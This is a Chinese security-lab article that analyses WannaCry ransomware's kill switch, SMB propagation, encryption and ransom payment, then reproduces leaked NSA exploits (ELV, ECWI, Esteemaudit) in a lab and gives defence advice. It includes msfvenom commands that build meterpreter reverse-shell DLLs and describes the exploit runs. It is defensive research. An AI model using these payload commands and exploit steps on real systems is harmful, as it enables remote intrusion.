更多资讯和分析文章请关注启明星辰ADLab微信公众号及官方网站(adlab.venustech.com.cn)
“Wanacry”勒索蠕虫爆发给互联网造成了极其恶劣的影响,启明星辰ADLab不仅对该事件样本进行了详细深入的分析,我们对漏洞补丁发布两个月后还能形成如此严重的世界性网络安全事件上进行了反思。经研究影子经纪人披露的资料里可造成类似严重影响的漏洞利用或工具不止一个,这些都提醒广大用户警惕下一个“永恒之蓝”的威胁。
图片来自网络
据报道,至少19家位于英格兰和苏格兰的NHS所属医疗机构遭到网络攻击,这些机构包括医院和全科医生诊所,目前被迫使用纸质办公。至少1600家美国组织, 11200家俄罗斯组织和6500家中国组织和企业都受到了攻击。 国内的重灾区是校园系统、医疗系统、能源行业,以及公安办事系统等。据悉,浙江传媒大学、中国计量学院等多所国内大学的校园网遭受攻击。并且在事件爆发的第二天央视对其进行了紧急报道。
据CNCERT监测发现,北京时间5月13日9时30分至14日10时30分全球约242.3万个IP地址遭受勒索软件“Wannacry”勒索蠕虫病毒利用SMB漏洞攻击,这些IP地址主要位于阿联酋、美国、中国台湾和俄罗斯;发动攻击的IP地址数量近3.5万个(可能已感染“Wannacry” 勒索蠕虫病毒),这些IP地址主要位于中国大陆、中国台湾、俄罗斯和阿联酋。另监测发现5471个IP连接“Wannacry” 勒索蠕虫病毒的内置域名及IP(可能已感染“Wannacry” 勒索蠕虫病毒),IP主要分布在中国大陆地区的广东、浙江、北京和上海等地。
目前各大安全厂商均已经对该勒索做了详细分析并提出了应急处理策略,从此次事件中我们可以看出,当传统的具有破坏敲诈性质的勒索软件与远程漏洞结合后所具有的破坏力是多么的严重,以至形成全球性的网络安全事件。在NSA漏洞攻击武器“永恒之蓝”被公布之前一个月微软已经发布了该漏洞布丁,然而在两个月后,仍然能够形成全球性的网络攻击事件,使得大量重要机构和大型公司遭遇到此次攻击,尤其是被我们广泛忽视的内网安全升级的问题,值得每一个受害者和安全人员深思。另外,不仅该事件本身值得我们去关注、重视,而且对于影子经纪人发布的其他远程漏洞攻击工具也应该引起我们的重视和关注,及时修补漏洞,防患于未然。
虽然“Wanacry”勒索软件的分析报告已经非常多了,我们也将以我们视角对其进行技术剖析,然后对NSA泄露的另外几个具有同样危害的高危漏洞进行分析验证并提供修补建议,防止“Wanacry”勒索软件事件的再次出现。
1、开关域名
勒索软件启动后先尝试连接域名“www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.co”如果,该域名能成功连接,则退出执行,否则进行感染释放阶段。这个域名就是各厂商所盛传的开关域名。
2、传播与感染分析
接下来勒索软件进入感染释放阶段,首先判断当前执行参数个数,当参数小于2个时,恶意代码会进入到安装阶段,即创建服务名为“mssecsvc2.0”的服务并启动执行(该服务所执行的模块名称即恶意代码自身,但携带参数“ -m security”)。
服务创建成功后,恶意代码会加载资源名为727的资源数据,并释放文件到“C:\WINDOWS\ tasksche.exe”,且以-i参数运行,“tasksche.exe”主要用来加密用户主机文件,对用户进行勒索。(关于“tasksche.exe”的详细分析请查看加密勒索一节)
当恶意代码以大于2个参数运行时即通过服务以“-m security”形式运行会进入感染阶段,主要是创建线程向局域网中的IP发送SMB利用代码。
其中采用的漏洞攻击代码利用了基于445端口传播扩散的“MS17-010”漏洞,2017年4月14日黑客组织“Shadow Brokers”公布的“Equation Group”组织使用的黑客工具包中包含了该漏洞的利用代码。
3、加密模块行为分析
当tasksche.exe首次运行时,会获取主机名称,并根据主机名称生成一个唯一标识来标识被感染主机,然后检测当前命令行是否包含参数“/i”。如果包含参数“/i”,则将自身拷贝为文件“%ProgramData%\pgkadxaxwxtwf660\tasksche.exe”,如果“%ProgramDat%”路径不存在则将自身拷贝为文件“C:\Intel\pgkadxaxwxtwf660\tasksche.exe”,其中目录“pgkadxaxwxtwf660”为根据主机名称生成的唯一标识。此标识还会被作为服务名来创建服务,服务键“BinaryPathName”的键值被设置为通过cmd进程来启动tasksche.exe文件。
接下来,勒索软件会尝试打开互斥体“Global\\MsWinZonesCacheCounterMutexA”,如果能成功打开则说明以服务启动的实例已经运行,当前实例会立即退出。当经过多轮等待仍不能打开该互斥体,当前实例会通过API CreateProcess创建不带参数的“tasksche.exe”进程运行。
当勒索软件以不带参数“/i”启动时(通过启动服务或CreateProcess直接创建),会进入到主要的功能代码,首先会将当前的勒索软件执行路径写入到注册表“HKEY_LOCAL_MACHINE\Software\WanaCrypt0r\wd”,然后加载名称为“XIA”的资源,该资源为一个压缩包文件,勒索软件使用密码“WNcry@2ol7”在内存中解密压缩包,并将文件释放到当前目录。
其中释放的文件包括:
关于各文件的说明如下:
文件名称 | 功能描述 |
Msg | 语言文件夹 |
b.wnry | 桌面图片 |
c.wnry | 配置信息,该文件中包括Tor地址等,硬编码的比特比钱包地址也会写入到该文件。 |
r.wnry | 勒索提示信息 |
s.wnry | Tor客户端压缩包 |
t.wnry | 加密的payload |
Taskdl.exe | 删除所有加密过程产生的临时文件 |
Taskse.exe | 在任意远程桌面session中运行指定程序 |
u.wnry | 解密程序 |
该勒索软件会将硬编码的比特币钱包地址写入到c.wnry文件中。
其中该样本的硬编码比特币钱包地址有三个,如下:
115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
勒索软件会执行以下命令来更改主机设置:
其中属性命令“attrh +h”将当前目录设置为隐藏,命令“Icacls . /grant Everyone:F /T /C /Q”是通过icacls.exe来赋予所有用户完全访问权限。
接下来勒索软件会在内存中解密用来加密主机文件的加密模块,调用该模块的“TaskStart”开始加密主机文件。
4、加密原理分析
该勒索软件采用RSA及AES算法完成对主机文件的加密,其中RSA采用了微软的CrtyptAPI库函数,AES算法代码则通过静态编译到dll中。勒索软件加密文件采用的算法为AES,但是该AES密钥被RSA加密。
首先勒索软件通过CryptGenRandom随机生成一个128位的AES密钥,然后用该密钥加密用户的文件,在使用RSA公钥将生成的AES密钥进行加密,并将解密后结果保存到加密文件的开头部分。对于不同的文件该勒索软件使用不同的AES密钥。
生成密钥并通过RSA加密:
文件加密过程:
加密后的文件内容:
该勒索软件在加密用户文件时,会避开含有以下字符的目录,防止无效加密。
\Intel
\ProgramData
\WINDOWS
\Program Files
\Program Files (x86)
\AppData\Local\Temp
\Local Settings\Temp
当加密完成后该勒索软件会显示以下勒索声明,与以往勒索软件不同的是,该勒索声明是一个可执行程序,而不像以前勒索软件通过图像或网页文件。
该勒索软件会加密以下扩展名文件:docx.docb.docm.dot.dotm.dotx.xls.xlsx.xlsm.xlsb.xlw.xlt.xlm.xlc.xltx.xltm.ppt.pptx.pptm.pot.pps.ppsm.ppsx.ppam.potx.potm.pst.ost.msg.eml.edb.vsd.vsdx.txt.csv.rtf.123.wks.wk1.pdf.dwg.onetoc2.snt.hwp.602.sxi.sti.sldx.sldm.sldm.vdi.vmdk.vmx.gpg.aes.ARC.PAQ.bz2.tbk.bak.tar.tgz.gz.7z.rar.zip.backup.iso.vcd.jpeg.jpg.bmp.png.gif.raw.cgm.tif.tiff.nef.psd.ai.svg.djvu.m4u.m3u.mid.wma.flv.3g2.mkv.3gp.mp4.mov.avi.asf.mpeg.vob.mpg.wmv.fla.swf.wav.mp3.sh.class.jar.java.rb.asp.php.jsp.brd.sch.dch.dip.pl.vb.vbs.ps1.bat.cmd.js.asm.h.pas.cpp.c.cs.suo.sln.ldf.mdf.ibd.myi.myd.frm.odb.dbf.db.mdb.accdb.sql.sqlitedb.sqlite3.asc.lay6.lay.mml.sxm.otg.odg.uop.std.sxd.otp.odp.wb2.slk.dif.stc.sxc.ots.ods.3dm.max.3ds.uot.stw.sxw.ott.odt.pem.p12.csr.crt.key.pfx.der。
5、支付赎金解密分析
该勒索软件程序中内置了其中一个公钥的配对私钥,可以用于解密,该密钥用来向用户展示程序能够成功解密文件引导用户支付。
该勒索软件进行解密时会判断本地是否存在“00000000.dky”文件,该文件为解密所需要的私钥文件。若存在,则尝试解密文件来判断密钥是否正确。
若密钥错误,勒索软件会创建taskhsvc.exe与C&C服务器进行通信,向C&C查询付款信息,若用户已经成功支付,当用户击Check Payment按钮会会向服务器查询付款信息,若用户成功支付,则服务器会返回私钥文件,通过该私钥文件即可对加密的文件进行解密。
勒索是最终的目的,而漏洞是其中的先决条件,影子经纪人曝出的漏洞很多都很有杀伤力,每一个都可能成为下一个“永恒之蓝”的载体,下面我们拿其中几个版本为例,给出一部分漏洞的验证、检测和防御建议。
1、ELV
1.1 工具简介
ELV 2.13工具(Resources/LegacyWindowsExploits/Exploits/ELV 2.13)利用SMB协议存在的漏洞,允许攻击者在远程机器上执行任意代码。
1.2 攻击对象
Windows NT 4.0
Windows 2000
Windows XP (SP1 and below)
Windows Server 2003 (Base release)
1.3 功能分析
ELV.exe有两种运行模式:Probe和Exploit。Probe模式用于检测断目标机是否存在漏洞。
Probe模式的运行参数:
Exploit模式的运行参数:
1.4 漏洞验证
验证环境:
IP | 系统信息 | 用途 | 备注 |
192.168.229.1 | Windows 7 | 攻击机器 | |
192.168.229.130 | Kali linux 2 | 用于生成攻击payload(反弹shell等)和控制反弹的shell会话 | 生成reverse shell 的dll |
192.168.229.128 | Windows 2000 sp4 | 靶机 | 开启SMB服务,445端口,防火墙关闭 |
Exploit模式:
kali:运行“msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.229.130 LPORT=8089 -f dll > reverser_tcp.dll”,生成reverser_tcp.dll。然后在本地监听8089端口。
win7:运行ELV.exe,参数如下所示。(其中reverser_tcp.dll由kali生成。)
攻击成功,反弹shell到kali机器上。
1.5 漏洞检测
使用Probe模式进行漏洞检测与扫描:
检测目标机为windows 2000,系统存在该漏洞。
1.6 防御建议
防火墙屏蔽445,139端口
关闭 SMB服务
2、ECWI
2.1 工具简介
ecwi工具(Resources/LegacyWindowsExploits/Exploits/ECWI)利用SMB协议存在的漏洞,成功利用允许攻击者在远程机器上执行任意代码。
2.2 攻击对象
Windows 2000
Windows XP
Windows Server 2003
2.3 漏洞验证及分析
验证环境:
IP | 系统信息 | 用途 | 备注 |
192.168.192.1 | Windows 7 | 攻击机器 | |
192.168.192.129 | Kali linux 2 | 用于生成攻击payload(反弹shell等)和控制反弹的shell会话 | 生成reverse shell的dll |
192.168.192.128 | Windows 2000 sp4 | 靶机 | 开启SMB服务,445端口,防火墙关闭 |
通过Resources\Tools\rpc2.exe可以探测目标主机是否存在漏洞,可以通过该程序来检测目标机器是否存在漏洞。
运行如下参数执行漏洞利用流程,其中lp.dll来自Resources\Pc\i386-winnt目录下的PC_Exploit.dll。
在执行ecwi之后主机会向目标机发送攻击数据包触发漏洞。
之后将shellcode复制到地址为680312c0的堆上用于,并劫持程序流程。由于环境及其他原因shellcode并未成功布局在堆上,漏洞复现未成功,但是我们可以看到漏洞利用程序已经成功劫持了程序流程。
2.4 漏洞检测
通过ff 53 4d 42来确认SMB包,之后定位到smb接受的数据,在数据中可以通过如下字段来检测进攻。
2.5 防御建议
防火墙屏蔽445,139端口
关闭 SMB服务
3、Esteemaudit
3.1 工具简介
Esteemaudit(\windows\exploits\Esteemaudit-2.1.0.exe)是一个通过3389端口远程溢出程序。3389端口是远程桌面的服务端口,它使用RDP协议进行通信。Esteemaudit利用RDP协议的缺陷来攻击受影响的系统。
3.2 攻击对象
Windows XP sp0-sp3
Windows Server 2003 sp0-sp2
3.3 漏洞验证
验证环境:
IP | 系统信息 | 用途 | 备注 |
192.168.69.10 | Windows 10_64 | 攻击机器 | 需安装python2.6.6&pywin32 |
192.168.69.143 | Kali linux 2 | 用于生成攻击payload(反弹shell等)和控制反弹的shell会话 | 生成reverse shell 的dll |
192.168.69.21 | Windows 2003域环境 | 靶机 | 开启3389,域,防火墙关闭 |
Exploit模式:
kali:运行“msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.69.143 LPORT=4444 -f dll > RDP.dll”,生成RDP.dll。然后在本地监听4444端口。
Win10:运行use Pcdlllauncher ,参数如下所示,其中RDP.dll由kali生成。
攻击成功,反弹shell到kali机器上。
3.4 漏洞检测
使用Esteemaudit 扫描目标主机。
Esteemaudit 选择目标系统:
Esteemaudit 设置注入dll:
Esteemaudit 设置目标ip和端口、本地ip和端口:
配置如下:
Esteemaudit 执行成功。
即可判定目标系统存在漏洞。
3.5 防御建议
防火墙屏蔽3389端口
升级到新版本系统
下一次勒索还远吗?
小时候摔倒了,母亲会扶起我们,而现在,我们要自己站起来。
所以,该来的总会来,从残酷的现实中我们要学会如何守住未来。
——于 2017/5/14 母亲节